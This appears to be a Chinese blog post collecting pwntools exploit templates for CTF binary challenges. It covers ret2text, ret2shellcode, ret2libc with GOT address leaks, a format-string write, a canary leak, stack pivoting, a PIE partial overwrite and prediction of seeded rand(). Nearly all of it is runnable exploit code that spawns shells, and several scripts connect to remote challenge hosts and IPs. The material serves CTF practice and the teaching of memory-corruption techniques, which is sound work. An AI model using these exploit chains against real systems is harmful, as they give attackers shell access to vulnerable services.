板子

from pwn import *

context(os='linux', arch='amd64', log_level='debug')​

is_debug = 0
IP = "1.1.1.1"
PORT = 11111

elf = context.binary = ELF('./vuln')​
libc = ELF('./libc')

def connect():​
    return remote(IP, PORT) if not is_debug else process()​

g = lambda x: gdb.attach(x)​
s = lambda x: p.send(x)​
sl = lambda x: p.sendline(x)​
sa = lambda x, y: p.sendafter(x, y)​
sla = lambda x, y: p.sendlineafter(x, y)​
r = lambda x=None: p.recv() if x is None else p.recv(x)​
rl = lambda: p.recvline()​
ru = lambda x: p.recvuntil(x)​
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))​
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])​

p = connect()

ret2text

32位

from pwn import *

p = process('./ret2text')
system_addr = 0x0804863A
payload = b'a' * (0x6c+4) + p32(system_addr)

p.sendline(payload)
p.interactive()

64位

from pwn import *

p = process('./ret2text')​
system_addr = 0x04011BB
playload = b'a'*0x20+b'b'*0x08+p64(system_addr )​

p.sendline(playload)​
p.interactive()

ret2shellcode

32位/64位

from pwn import *

p = process('./ret2shellcode')
shellcode=asm(shellcraft.sh())
bss_addr = 0x0804A080
payload = shellcode.ljust((0x6c+4),b'a') + p32(bss_addr)
p.sendline(payload)
p.interactive()

ret2sys

有system函数时,若没有/bin/sh字符串可选择用read函数读入到bss段,例如64位程序中:

from pwn import *
io=process('./pwn')​

elf=ELF('./pwn')​
system=elf.plt['system']​
read=elf.sym['read']​

pop_rdi_ret=0x401196
pop_rsi_ret=0x4011ad
pop_rdx_ret=0x401265
bss=0x4040A0

io.recv()​

payload=b'a'*(0xa+8)​
payload+=p64(pop_rdi_ret)+p64(0)​
payload+=p64(pop_rsi_ret)+p64(bss)​
payload+=p64(pop_rdx_ret)+p64(0x10)​
payload+=p64(read)#read(0,buf,0x10)​
payload+=p64(pop_rdi_ret)+p64(bss)+p64(system)​
io.sendline(payload)​
io.sendline(b'/bin/sh\x00')​
io.interactive()

有system和/bin/sh字符串(64位)

32bit:
system_addr + return_addr + bin_sh_str_addr
64bit:
ret_addr + pop_rdi_ret + bin_sh_str_addr + system_addr

from pwn import *

io=process('./pwn')​
elf=ELF('./pwn')​

pop_rdi=0x401196
binsh=0x402008
ret=0x40101a
shell=elf.plt['system']​

payload=b'a'*(0x70+8)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(shell)​
io.recv()​
io.sendline(payload)​
io.interactive()

ret2libc

32位:(掺入了一点格式化字符串)

import LibcSearcher
from pwn import *
context.log_level='debug'
elf = ELF('./format_ropx86')

puts_plt = elf.plt['puts']
libc_start_main_got = elf.got['__libc_start_main']
main = elf.symbols['main']
puts_got = elf.got['puts']
vuln_addr = elf.sym['vuln']

main_addr = 0x80485ff
print(hex(puts_got))

#格式化字符串漏洞
p = remote('120.46.59.242',2105)
p.recvuntil(b"Please input your name\n")
payload1 = p32(0x0804A030) + b'a'*4 + b"%4$n"
p.sendline(payload1)
p.recvuntil(b'Please input your secret:')
###

payload2 = b'a' * (0x108+4) + p32(puts_plt) + p32(vuln_addr) + p32(puts_got)

p.sendline(payload2)
p.recvline()
#puts_addr = u32(p.recv(4))
puts_addr = u32(p.recvuntil(b'\xf7')[-4:])
print("puts_addr = "+hex(puts_addr))

libcbase_addr = puts_addr - 0x5f150
#so,system's address should be libcbase_addr + system's address in libc
system_address = libcbase_addr + 0x3a950
str_bin_sh_addr = libcbase_addr + 0x15912b

payload = b'a' * (0x108+4) + p32(system_address) + p32(0) + p32(str_bin_sh_addr)
p.sendline(payload)
p.interactive()

64位:

from pwn import *

libc=ELF('libc.so.6')​
io=process('./pwn')​
elf = ELF("./pwn")​

main_addr = elf.symbols['main']​
puts_plt = elf.plt['puts']​
puts_got = elf.got['puts']​
rdi=0x401176
ret = 0x40101a

io.recv()​#接受数据

#1:泄露puts函数地址
payload=b'a'*(0xa+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)​
io.sendline(payload)​
puts_addr=u64(io.recvuntil('\x7f').ljust(8,b'\x00'))​
print(hex(puts_addr))​

#2:根据puts函数地址计算libc基地址
libc_base = puts_addr - libc.sym["puts"]​
print(hex(libc_base))​
system_addr = libc_base + libc.sym["system"]​
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))​

payload = b'a'*(0xa+8) + p64(rdi) + p64(binsh_addr) + p64(ret) + p64(system_addr)​
io.sendline(payload)​
io.interactive()
from pwn import *  # pwntools

context(arch="amd64", log_level="debug", os="linux")
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
pop_ret_rdi_addr = 0x000000000002a3e5  # 64linux,用于参数填入函数
puts_plt_addr = elf.plt['puts']  # 用于调用puts,打印(泄露)got表填写的函数真实地址
main_addr = 0x4006bd  # 用于返回main函数,准备第二次栈溢出(?)
ret = 0x0000000000029139  # 用于返回,否则出错(?)

io = remote("139.155.126.78",36046)  # 远程连接

payload = b'a' * (0x108)  # 溢出
payload += p64(pop_ret_rdi_addr) + p64(elf.got["puts"])  # pop和栈上填写信息连用,实际效果是将填入栈的值传给寄存器,这一点值得记下来;填写了puts要打印的内容是got表puts的真实地址
payload += p64(puts_plt_addr)  # puts的plt地址,用于(参数准备好后)调用call puts
payload += p64(main_addr)  # 因为是return puts("I hope you win"),而此时栈上已经一塌糊涂,我们手动让程序执行流回到main准备下一次溢出

io.sendlineafter("overflow?\n", payload)  # 在此之后就是read,读取我们的payload。效果:打印puts的真实地址,然后返回main函数,准备在此栈溢出
#io.recvuntil('win\n')
puts_real_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))  # 直到读取到\x7f结束符,然后截取后六位(地址),ljust转8字节补齐,u64转为无符号整数
# 一个地址的最高位的两个字节是00,而且实际栈地址一般是0x7fxxxx开头的,因此为了避免获取错误的地址值,只需要获取前面的6字节值,然后通过ljust函数把最高位的两字节填充成00。
print("puts_addr >>>",hex(puts_real_addr))
# =====================================================之所以称为ret2libc:=======================================================

libc_addr = puts_real_addr - libc.sym['puts']  # libc的真实的基址=puts的真实地址-puts相对于libc基址的偏移量
bin_sh_addr = libc_addr + next(libc.search(b'/bin/sh\x00'))  # '/bin/sh'的真实地址=libc基址的真实地址+'/bin/sh'相对于libc基址的偏移量
system_real_addr = libc_addr+ libc.sym['system']  # system函数的真实地址=libc基址的真实地址+system函数相对于libc基址的偏移量
# ===============================================================================================================================

payload2 = b'a' * (0x38)  # 栈溢出
payload2 += p64(ret)  # 就是这里,其实不太明白。为什么不直接开始下一步(去掉ret),但是会出错。我的理解是,puts函数跳回,然后在
payload2 += p64(pop_ret_rdi_addr) + p64(bin_sh_addr)  # system函数的参数准备,即把'/bin/sh'(的地址)传入
payload2 += p64(system_real_addr)  # 调用system
payload2 += p64(main_addr)  # 只是为了能够找到一个合法地址(?)

io.sendlineafter("overflow?\n", payload2)  # 栈溢出点发送payload
io.recv()  # 吸收一下发过来的数据,没必要
io.interactive()  # 开始交互,ls -> cat flag

Canary(金丝雀保护)

64位:

from pwn import *
io=process('./pwn')​
back=0x4011B6
#gdb.attach(io,'b main')​
io.recv()​
payload=b'a'*(0x70-8+1)​
io.send(payload)​
io.recvuntil(b'a'*0x68)​
canary=u64(io.recv(8))-0x61
print(hex(canary))​
payload=b'a'*0x68+p64(canary)+b'a'*8+p64(0x40101a)+p64(back)​
io.sendline(payload)​
io.interactive()

栈迁移

羊城杯2024本科组初赛pwn1

from pwn import *
from pwn import p64,u64

context(arch='amd64', os='linux', log_level="debug")

elf = ELF('./pwn666')
libc = ELF('./libc.so.6')
p = remote("1.1.1.1",1111)

pop_rdi_ret = 0x400773
pop_rbp_ret = 0x4005b0
bss_addr = 0x601000 + 0x100 + 0x30 + 0x700
leave_ret = 0x4006db
read = 0x4006C4

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

payload = cyclic(0x30) + p64(bss_addr) + p64(read)
p.send(payload)

payload=p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(pop_rbp_ret)+p64(bss_addr-0x30-0x8)+p64(read)
payload = payload.ljust(0x30, b"\x00")
payload += p64(bss_addr-0x30-0x8)+p64(leave_ret)
p.send(payload)

puts_addr=u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
#print("puts_addr >>> "+hex(puts_addr))

libc_base=puts_addr-libc.sym['puts']
#print("libc_base >>> " + hex(libc_base))
system=libc_base+libc.sym['system']
bin_sh=libc_base+next(libc.search(b"/bin/sh\x00"))
ret = 0x29139 + libc_base

pay=p64(pop_rdi_ret)+p64(bin_sh)+p64(ret)+p64(system)
pay = pay.ljust(0x30,b"\x00")
pay +=p64(bss_addr-0x30-0x38-0x8)+p64(leave_ret)
p.send(pay)
p.interactive()

basectf week3

from pwn import *
from ctypes import *
#----------------function area start----------------#​
sla = lambda ch,data:p.sendlineafter(ch,data)​
sda = lambda ch,data:p.sendafter(ch,data)​
sd = lambda data:p.send(data)​
sl = lambda data:p.sendline(data)​
addr32 = lambda:u32(p.recvuntil(b"\xf7")[-4:])​
addr64 = lambda:u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))​
lg = lambda addr_name,addr:log.success("{} --> {}".format(addr_name,hex(addr)))​
ru = lambda con:p.recvuntil(con)​
def debug(bp=0):​
    gdb.attach(p,bp)​
    pause()​
#----------------function area end------------------#​
# p = process("./attachment")​
p = remote('challenge.basectf.fun','36079')​
elf = ELF("./attachment")​
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")​

ru(b'mick0960.\n')​
buf_addr = int(p.recv(14),16)​
lg('buf addr',buf_addr)​

seceret = 0x4011dd # skip 'push rbp' for rsp alignment​
main = 0x40124a # skip 'push rbp' for rsp alignment​
leave = 0x00000000004012f2

payload = p64(0) + p64(seceret) + p64(0) + p64(main) # leak libc addr​
# ...​
# call printf​
# nop​
# pop rbp ret --> p64(0)​
# retn --> main​
payload += p64(0)*2 # fill to rbp​
payload += p64(buf_addr) + p64(leave)​
sd(payload)​

ru(b'0x')​
libc_base = int(p.recv(12),16) - libc.sym.puts​
lg('libc base',libc_base)​

ru(b'mick0960.\n')​
buf_addr = int(p.recv(14),16)​
lg('buf addr',buf_addr)​

system = libc_base + libc.sym.system​
binsh = libc_base + next(libc.search(b'/bin/sh'))​
pop_rdi = libc_base + 0x000000000002a3e5
ret = 0x000000000040101a

payload = p64(0) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system) + p64(0) # 'ret' is for rsp alignment​
payload += p64(buf_addr) + p64(leave)​
sd(payload)​

p.interactive()

PIE保护

64位(basectf week3):PIE保护+ret2libc

开启了pie后,libc的低12位是不变的,main函数执行完后会跳转到libc_start_main + 128,然后执行里面的exit,printf(%s)会把libc start main的地址泄露出来,如果能在libc start main找到一段可以重新执行main函数的magic gadget就好了。由于pie的性质,也就是在libc start main + 128 近地址去找这样的gadget,在 \x89的位置有这样一段magic gadget可以重启main函数​

在执行到leval ret的时候,此时的栈布局是这样的,这段magic gadget可以把栈上的main地址取出来然后call,这样就能实现重启一次main函数,再用printf泄露出来的libc地址算出libc基地址后,再拿libc里的system和binsh执行就好了​

from pwn import *
# from LibcSearcher import *​
import itertools​
import ctypes​

context(os='linux', arch='amd64', log_level='debug')​

is_debug = 0
IP = "127.0.0.1"
PORT = 9999

elf = context.binary = ELF('./vuln')​
libc = elf.libc​

def connect():​
    return remote(IP, PORT) if not is_debug else process()​

g = lambda x: gdb.attach(x)​
s = lambda x: p.send(x)​
sl = lambda x: p.sendline(x)​
sa = lambda x, y: p.sendafter(x, y)​
sla = lambda x, y: p.sendlineafter(x, y)​
r = lambda x=None: p.recv() if x is None else p.recv(x)​
rl = lambda: p.recvline()​
ru = lambda x: p.recvuntil(x)​
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))​
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])​

p = connect()​

payload = b"a" * 0x108 + b'\x89'
# .text:0000000000029D89 48 8B 44 24 08                mov     rax, [rsp+98h+var_90]​
# .text:0000000000029D8E FF D0                         call    rax​

# g(p)​
s(payload)​

ru(b"a" * 0x108)​
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x72c545629d89 - 0x72c545600000)​
success(hex(libc_base))​

pop_rdi_ret = libc_base + 0x000000000002a3e5
xor_rax_rax_ret = libc_base + 0x00000000000baaf9
system = libc_base + libc.sym['system']​
binsh = libc_base + next(libc.search(b'/bin/sh'))​

payload = b"a" * 0x108 + p64(pop_rdi_ret) + p64(binsh) + p64(xor_rax_rax_ret) + p64(system)​
s(payload)​
# g(p)​

p.interactive()​

伪随机数

Python
from pwn import *
import ctypes

p = remote("152.69.210.130", 1337)
py=ctypes.CDLL("./libc.so.6")

# for i in range(100):
#     elf1.srand(elf1.time(0)-50+i)
#     payload = str(elf1.rand()%10000+1)
#     print(i,payload)

py.srand(py.time(0)+4)
payload = str(py.rand()%10000+1)
print(payload)

p.sendlineafter("guess:", payload)
p.interactive()
说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...